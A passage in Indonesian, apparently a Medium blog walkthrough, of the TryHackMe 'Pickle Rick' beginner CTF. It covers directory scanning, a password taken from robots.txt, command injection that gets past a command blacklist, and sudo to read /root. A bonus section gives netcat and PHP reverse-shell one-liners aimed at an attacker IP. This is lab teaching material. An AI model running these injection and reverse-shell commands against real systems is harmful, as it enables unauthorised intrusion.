Mengenal Social Engineering, Metode Non-Teknis para Peretas

<h3>Pickle Rick CTF — TryHackMe untuk Pemula</h3>
<figure><img alt="https://tryhackme.com/room/picklerick" src="https://cdn-images-1.medium.com/max/1024/1*fQqlbIW3JvrkEUhhcnzHPQ.png"><figcaption><a href="https://tryhackme.com/room/picklerick">https://tryhackme.com/room/picklerick</a></figcaption></figure>CTF (Capture the Flag) kali ini, bertemakan serial kartun dewasa Rick and Morty. Rick Sanchez adalah seorang ilmuwan gila yang lagi-lagi berubah menjadi pickle (acar). Rick membutuhkan bantuanmu (sebagai Morty, cucunya) untuk berubah kembali menjadi manusia. Caranya adalah dengan memberikan 3 bahan untuk membuat campuran obat yang listnya bisa didapatkan dari server web milik Rick. Masalahnya, karena Rick berubah jadi acar, dia tidak bisa mengaksesnya sendiri atau dia benar-benar lupa passwordnya?
<h3>Analisis CTF</h3>
CTF kali ini cukup unik, karena mengangkat tema yang lumayan lucu. Jujur saja, saya jadi lumayan mengikuti Rick and Morty karena CTF kali ini. Saat mengakses link <a href="https://tryhackme.com/room/picklerick">https://tryhackme.com/room/picklerick</a>, kamu langsung dihadapkan 3 pertanyaan tentang bahan yang dibutuhkan supaya Rick dapat kembali menjadi manusia.
<figure><img alt="Masukkan 3 bahan supaya Rick dapat kembali menjadi manusia" src="https://cdn-images-1.medium.com/max/1024/1*eI-RtCgprrAOx9Q_w2LyqA.png"><figcaption>Masukkan 3 bahan supaya Rick dapat kembali menjadi manusia</figcaption></figure>CTF ini ditujukan untuk web penetration tester pemula, walaupun CTF ini bertemakan web, kemampuan linux kamu juga akan diuji di sini.
<h3>Cara Mengakses</h3>
Kamu dapat mengakses CTF ini dengan gratis, namun tetap butuh login untuk mengaksesnya. Apabila kamu berlangganan TryHackMe, biasanya proses deployment mesin menjadi lebih cepat. Sebelum kamu dapat mengakses alamat IP mesin yang telah di-deploy, untuk alasan keamananmu, pastikan terkoneksi dengan OpenVPN TryHackMe(<a href="https://tryhackme.com/room/openvpn">https://tryhackme.com/room/openvpn</a>) atau dengan menggunakan attack box <a href="https://tryhackme.com/room/tutorial">(https://tryhackme.com/room/tutorial</a>).
Sekedar informasi, kalau melakukan scanning/enumeration menggunakan attack box dari TryHackMe, hasilnya akan keluar jauh lebih cepat dibandingkan dengan metode OpenVPN.
Jika kamu tidak berencana menggunakan Kali Linux, kamu juga bisa menginstall beberapa tools pada Kali Linux di dalam OS favorit kamu, Google is your power.
Kalau sudah ready, ayo kita ambil 3 bahan buat si acar.
<h3>Bahan yang Pertama</h3>
Karena ini merupakan web CTF, langsung saja buka browser dan masukkan alamat IP mesin. Kamu akan melihat halaman depan dari web.
<figure><img alt="Halaman depan web Rick" src="https://cdn-images-1.medium.com/max/1024/1*myb8pwcn2FIcxaigbFAenA.png"><figcaption>Halaman depan web Rick</figcaption></figure>Setelah mendarat di halaman depan, klik kanan di halaman tersebut dan pilihlah View Page Source. Di halaman tersebut, tertampil sebuah komentar yang berisi username R1ckRul3s, ini adalah temuan yang bagus, yang dibutuhkan sekarang adalah password dan halaman login.
<h4>Dirb</h4>
Link menuju konten tidak tersedia bukan berarti web tersebut tidak ada konten. Untuk mencari password atau halaman login dari akun R1ckRul3s, kamu membutuhkan tool bernama dirb yang dapat digunakan untuk melakukan scanning terhadap konten-konten yang ada pada web. Tool ini membutuhkan daftar kata(wordlist) yang nantinya dicoba untuk digabungkan dengan URL. Sebagai tambahan, dirb merupakan bawaan dari Kali Linux(tanpa perlu install). Cara penggunaan tool ini adalah sebagai berikut.
<blockquote>dirb http://&lt;IP_address&gt; &lt;wordlist&gt;</blockquote>
Silakan sesuaikan alamat IP dengan alamat IP mesin kamu. Untuk wordlist, saya menggunakan common.txt yang merupakan bawaan dari dirb yang berada pada folder /usr/share/wordlists/dirb/common.txt. Jika pada mesin saya, perintah yang dimasukkan adalah:
<blockquote>dirb <a href="http://10.10.201.13/">http://</a>&lt;IP_address&gt;/ /usr/share/wordlists/dirb/common.txt</blockquote>
<figure><img alt="Temuan dari dirb" src="https://cdn-images-1.medium.com/max/732/1*d7wfOS1BSTJOmhDaMXLd7A.png"><figcaption>Temuan dari dirb</figcaption></figure><h4>Robots.txt</h4>
Pada path <a href="http://ip_address/assets">http://ip_address/assets</a> tidak terlihat hal yang menarik. Yang cukup mencolok di sini adalah keberadaan robots.txt. Robots.txt ini sering digunakan sebagai list untuk mencegah indexing oleh search engine (contoh: Google). Intinya admin web tidak ingin isi dari robots.txt masuk ke dalam pencarian search engine. Sebagai hacker, justru isi dari robots.txt ini adalah file yang menarik karena berisi path yang dirahasiakan oleh admin web, misal lokasi admin panel.
<blockquote>akses ke: http://&lt;IP_address&gt;/robots.txt dan catat isinya.</blockquote>
Kalau kita mencoba mengakses http://&lt;IP_address&gt;/Wubbalubbadubdub, kita tidak mendapatkan halaman login.
<h4>Nikto</h4>
Nikto adalah sebuah tool bawaan Kali Linux untuk melakukan web vulnerability assessment. Nikto sendiri sudah memiliki database yang cukup lengkap untuk mendeteksi kelemahan dari sebuah web.
<blockquote>nikto -h http://&lt;IP_address&gt;</blockquote>
<figure><img alt="Hasil dari nikto" src="https://cdn-images-1.medium.com/max/726/1*n2IkiciFxuvgjpXG7EEZ7w.png"><figcaption>Hasil dari nikto</figcaption></figure>Hasil dari nikto menunjukkan kembali keberadaan robots.txt pada server dan adanya login.php yang kemungkinan besar adalah lokasi halaman login.
<blockquote>akses ke: http://&lt;IP_address&gt;/login.php</blockquote>
Sebagai pengingat, bahwa sebelum ini, username sudah diketahui melalui view page source dan lokasi login sudah didapatkan dengan bantuan Nikto. Sebelum melakukan bruteforce, ada baiknya untuk mencoba isi dari robots.txt sebagai password.
<figure><img alt="Login ke akun R1ckRul3s" src="https://cdn-images-1.medium.com/max/1024/1*qEfKqvROwjBVH0Ylok7NAw.png"><figcaption>Login ke akun R1ckRul3s</figcaption></figure>Ternyata memang benar password dari R1ckRul3s adalah isi dari robots.txt. Di dalam akun tersebut, terdapat sebuah Command Panel yang mana bisa di injeksi perintah-perintah Linux. Di dalam Rick Portal ini juga, terdapat beberapa link navigasi, namun apabila ditelusuri link tersebut mengarah ke denied.php dan gambar acar, tanpa adanya HTTP redirection. Artinya, bahan-bahan untuk mengembalikan Rick menjadi manusia kemungkinan besar hanya bisa diakses melalui Command Panel.
<h4>Command Injection</h4>
Perintah pertama yang dimasukkan adalah pwd untuk melihat lokasi folder. Lokasi folder saat ini berada pada default web root pada Apache, yaitu /var/www/html. Kalau ingin dicoba, kamu tidak bisa mengubah lokasi folder aktif menuju folder yang lainnya dengan perintah cd.
<figure><img alt="Perintah 1: pwd" src="https://cdn-images-1.medium.com/max/1024/1*LlerypdPiq79KiVu5XmFiw.png"><figcaption>Perintah 1: pwd</figcaption></figure>Yang kedua, ada anggapan bahwa lokasi bahan yang pertama berada pada web root, namun lokasinya tersembunyi, karena menggunakan karakter khusus. Kamu dapat mencarinya dengan memasukkan perintah ls.
<figure><img alt="Perintah 2: ls" src="https://cdn-images-1.medium.com/max/1024/1*j-RTgWyQVeK26Q_xS2wMoA.png"><figcaption>Perintah 2: ls</figcaption></figure>Yap benar, ada 2 file yang mencolok di sana, yaitu file Sup3rS3cretPickl3Ingred.txt dan clue.txt. File yang pertama berisi bahan pertama dan file yang kedua berisi petunjuk lokasi bahan kedua. Sebenarnya, kamu bisa menggunakan cat untuk membaca file, namun perintah cat ternyata di-blacklist, sehingga kamu harus menggunakan perintah lainnya untuk membaca file. Coba gunakan head atau tail kalau bisa :P .
Metode yang saya gunakan adalah membacanya melalui browser, karena file yang dibaca masih di dalam folder web root.
<blockquote>akses ke: http://&lt;IP_address&gt;/Sup3rS3cretPickl3Ingred.txt (lokasi bahan pertama)</blockquote>
<blockquote>dan akses ke: http://&lt;IP_address&gt;/clue.txt (petunjuk lokasi bahan kedua)</blockquote>
<h3>Bahan yang Kedua</h3>
Berdasarkan isi dari clue.txt, bahan yang kedua kemungkinan berada pada folder lain di dalam server. Ada baiknya untuk melihat user yang dimiliki saat ini dan mencoba apakah kamu memiliki privilege untuk membaca folder root dengan perintah id dan ls /. Ternyata kamu saat ini menggunakan user www-data dan untungnya dapat melihat konten di luar web root folder.
<figure><img alt="Perintah 3: id" src="https://cdn-images-1.medium.com/max/1024/1*0vqrViWTITCzjIRqvUoY2A.png"><figcaption>Perintah 3: id</figcaption></figure><figure><img alt="Perintah 4: ls /" src="https://cdn-images-1.medium.com/max/1024/1*EqP91eq-apxluydjpf-NHA.png"><figcaption>Perintah 4: ls /</figcaption></figure><h4>Perintah Find</h4>
Kamu akan mencari sebuah file di dalam Linux, tanpa adanya user interface. Ada baiknya untuk menggunakan tools seperti locate atau find. Karena perintah locate juga masuk ke dalam daftar blacklist, perintah find menjadi pilihan utama.
<blockquote>find / -type f -name second* 2&gt;/dev/null</blockquote>
Penjelasan:
<ol>
<li>Mencari dengan perintah find</li>
<li>/ = dimulai dari lokasi root folder (/)</li>
<li>-type f = menandakan bahwa yang dicari adalah sebuah file</li>
<li>-name second* = menandakan bahwa yang dicari memiliki awalan second, tanda * merupakan wild card yang artinya apapun karakter setelah kata second, masukkan ke dalam hasil pencarian.</li>
<li>2&gt;/dev/null = perintah find yang dimulai dari root folder akan menghasilkan banyak sekali error, mengingat privilege yang dimiliki saat ini. Parameter ini akan membuang error message supaya tidak tertampil pada terminal.</li>
</ol>
Ketika dimasukkan, perintah ini akan menghasilkan 2 output yaitu file second ingredients dan secondary-init-script. Easy guess.
<figure><img alt="Perintah 5: find" src="https://cdn-images-1.medium.com/max/1024/1*tTACEWIjhdj4KBESFqxnjw.png"><figcaption>Perintah 5: find</figcaption></figure><h4>Membaca File</h4>
Ada beberapa perintah untuk membaca file yang terkena blacklist di web ini. Listnya sebagai berikut:
<ol>
<li>cat</li>
<li>head</li>
<li>tail</li>
<li>more</li>
</ol>
Kamu juga tidak mungkin menggunakan kolom URL, karena file tersebut sudah jauh di luar web root folder. Oleh karena itu, kamu bisa menggunakan perintah lain untuk membaca file. Perlu diingat bahwa file “second ingredients” mengandung spasi, artinya kita harus menggunakan escape character atau backslash (second\ ingredients) atau bisa juga dengan mengapitnya dengan tanda petik (“second ingredients”).
Karena kamu tidak dapat mengganti folder dengan perintah cd, kamu harus memasukkan absolute path(“/home/rick/second ingredients”). List perintah yang dapat digunakan adalah sebagai berikut:
<ol>
<li>less “/home/rick/second ingredients”</li>
<li>strings “/home/rick/second ingredients”</li>
<li>sed 1p “/home/rick/second ingredients”</li>
</ol>
Sebenarnya ada ratusan perintah ditambah parameter berbeda yang dapat menggantikan cat untuk membaca file. Eksplor sendiri ya :P .
<h3>Bahan yang Ketiga</h3>
Bahan ketiga memang cukup tricky, karena tidak ada petunjuk sama sekali. Perintah find dengan mencoba parameter third, 3rd, 3*, dan *th* juga tidak membuahkan hasil. Saya menduga kuat bahwa lokasinya berada di dalam /root/ yang mana tidak dapat dibaca oleh non-root user. Awalnya saya mengira cara satu-satunya adalah melakukan privilege escalation dari www-data ke root dengan mengeksploitasi Apache versi 2.4.18[Ubuntu] pada server. Tapi mengingat ini adalah CTF pemula, maka saya mencari pencerahan lain.
Hasilnya cukup menggembirakan karena ternyata user www-data sudah dapat menggunakan perintah sudo tanpa harus memasukkan password. Sudo pada Linux digunakan untuk mengeksekusi perintah dengan privilege tertinggi pada linux(root). Beberapa sistem membatasi usernya supaya tidak bisa menggunakan sudo, atau hanya untuk beberapa perintah saja. Namun tidak pada kasus kali ini.
<blockquote>sudo -l</blockquote>
<figure><img alt="perintah 6: sudo -l , www-data dapat menggunakan sudo tanpa password" src="https://cdn-images-1.medium.com/max/1024/1*NaH1RDMKQOm0u1BdXEOFVg.png"><figcaption>perintah 6: sudo -l , www-data dapat menggunakan sudo tanpa password</figcaption></figure>Kemudian kamu dapat mencoba melihat home root folder pada /root/ dengan menggunakan menggunakan perintah sudo ls. Kamu telah mendapatkan lokasi bahan ketiga.
<blockquote>sudo ls /root/</blockquote>
<figure><img alt="perintah 7: sudo ls /root/" src="https://cdn-images-1.medium.com/max/1024/1*wCWBqfmumbT7-A2Pu2Mo4A.png"><figcaption>perintah 7: sudo ls /root/</figcaption></figure>Bahan yang ketiga juga masih mendapat perlakuan yang sama, dimana terdapat blacklist perintah cat. Sehingga kamu dapat menggunakan perintah lain pada list di atas dengan menambahkan sudo.
<blockquote>sudo less /root/3rd.txt</blockquote>
<figure><img alt="Perintah 8: sudo less /root/3rd.txt" src="https://cdn-images-1.medium.com/max/1024/1*rKW8nI-cJoZDEj6nRtLi6A.png"><figcaption>Perintah 8: sudo less /root/3rd.txt</figcaption></figure>Fiuh, tiga bahan sudah didapatkan. Saatnya melaporkan ke formulir pada <a href="https://tryhackme.com/room/picklerick">https://tryhackme.com/room/picklerick</a>. Kamu telah berhasil membuat Rick si ilmuwan gila kembali menjadi manusia.
P.S. udah dibantu juga, Rick bakal berubah jadi acar lagi.
<h3>Bonus</h3>
<h4>Reverse Shell</h4>
Saat melihat bahwa terdapat command injection vulnerability kamu sebenarnya dapat mencoba untuk menggunakan netcat atau nc. Teknik ini dinamakan reverse shell di mana target diminta menyerahkan terminalnya(shell) kepada penyerang secara remote. Teknik ini dipermudah apabila target sudah menginstall netcat sebelumnya. Untuk menggunakan reverse shell, perlu adanya komputer penyerang yang mendengarkan koneksi dan injeksi perintah kepada target untuk memulai koneksi.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*B0slepFCrxnq3YzmZWD8Iw.png"><figcaption>Reverse Shell</figcaption></figure><ol>
<li>Pada penyerang: nc -lnvp 4444</li>
<li>Pada target: nc &lt;IP_penyerang&gt; 4444 -e /bin/sh</li>
</ol>
Penjelasan:
<ol>
<li>Pastikan pada sisi penyerang perintah sudah dijalankan sebelum target mencoba terhubung.</li>
<li>nc = perintah netcat, kamu juga bisa menggunakan versi panjangnya (netcat -lvp 4444).</li>
<li>-l = memerintahkan netcat untuk mendengarkan di port 4444.</li>
<li>-n = memerintahkan netcat untuk tidak melakukan DNS lookup.</li>
<li>-v = memerintahkan netcat untuk bekerja secara verbose, atau menandakan apabila terdapat koneksi masuk.</li>
<li>-p 4444 = memerintahkan netcat untuk beroperasi pada port 4444.</li>
<li>-e /bin/sh = pada sisi target, memerintahkan netcat untuk mengemulasikan shell kepada penyerang</li>
</ol>
Pada kasus ini, perintah netcat juga terkena blokir. Walaupun perintah nc, yang merupakan nama lain dari netcat tidak terkena blacklist, pada saat dicoba, ternyata juga tidak tembus.
<figure><img alt="Pada komputer penyerang: nc -lnvp 4444 ," src="https://cdn-images-1.medium.com/max/736/1*79zejIE4Yr_ve_eJWomYXA.png"><figcaption>Pada komputer penyerang: nc -lnvp 4444 ,</figcaption></figure><figure><img alt="Pada target: nc &lt;IP_penyerang&gt; 4444 -e /bin/sh" src="https://cdn-images-1.medium.com/max/1024/1*aMfBiwsuRlqiSRdovzTweA.png"><figcaption>Pada target: nc &lt;IP_penyerang&gt; 4444 -e /bin/sh</figcaption></figure>Karena back end web tersebut berbasis php(dari penggunaan login.php sebagai lokasi login Rick), pastinya di server sudah terinstall PHP. Hal ini dapat dipastikan kembali dengan which php.
<figure><img alt="Memastikan keberadaan PHP pada server" src="https://cdn-images-1.medium.com/max/1024/1*NEyy0I9yV0YAgm_-COr1JA.png"><figcaption>Memastikan keberadaan PHP pada server</figcaption></figure>Agar PHP pada server dapat membuka koneksi ke komputer kamu, maka masukkan perintah di bawah ini.
<blockquote>php -r ‘$sock=fsockopen(“10.0.0.1”,4242);$proc=proc_open(“/bin/sh -i”, array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes);’</blockquote>
<figure><img alt="Perintah PHP untuk membuka koneksi ke listener" src="https://cdn-images-1.medium.com/max/1024/1*ce8LywkDKfA20r85ehSt5A.png"><figcaption>Perintah PHP untuk membuka koneksi ke listener</figcaption></figure>Akhirnya, web server milik Rick berhasil berkomunikasi dengan terminal milikmu. Pada shell yang dibuat ini, kamu juga bisa menggunakan perintah cat untuk membaca file karena blacklist perintah yang dilakukan admin web hanya pada input dari web service saja(kemungkinan diimplementasi di PHP atau Javascript).
<figure><img alt="Berhasil masuk ke dalam web server milik Rick" src="https://cdn-images-1.medium.com/max/729/1*6VPWJotyTxSxsZOUwT5cbg.png"><figcaption>Berhasil masuk ke dalam web server milik Rick</figcaption></figure><figure><img alt="Menggunakan perintah cat setelah reverse shell berhasil" src="https://cdn-images-1.medium.com/max/727/1*_BGe2rkOHBiblpRKBI3Qsw.png"><figcaption>Menggunakan perintah cat setelah reverse shell berhasil</figcaption></figure>Sebagai penutup, apabila terdapat command injection vulnerability, ada baiknya untuk menggunakan perintah-perintah yang lebih kalem, seperti id ataupun whoami sebagai bukti(proof-of-concept) dan segera melaporkan kepada administrator web. Jangan sampai membuka koneksi dengan reverse-shell apalagi mengeksploitasinya.
Terimakasih sudah membaca, semoga membantu.
<h3>Sumber :</h3>
<a href="https://tryhackme.com/room/picklerick">https://tryhackme.com/room/picklerick</a>
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp</a>
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=7ee518bb9af7" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/pickle-rick-ctf-tryhackme-untuk-pemula-7ee518bb9af7">Pickle Rick CTF — TryHackMe untuk Pemula</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Blog Cyberkarta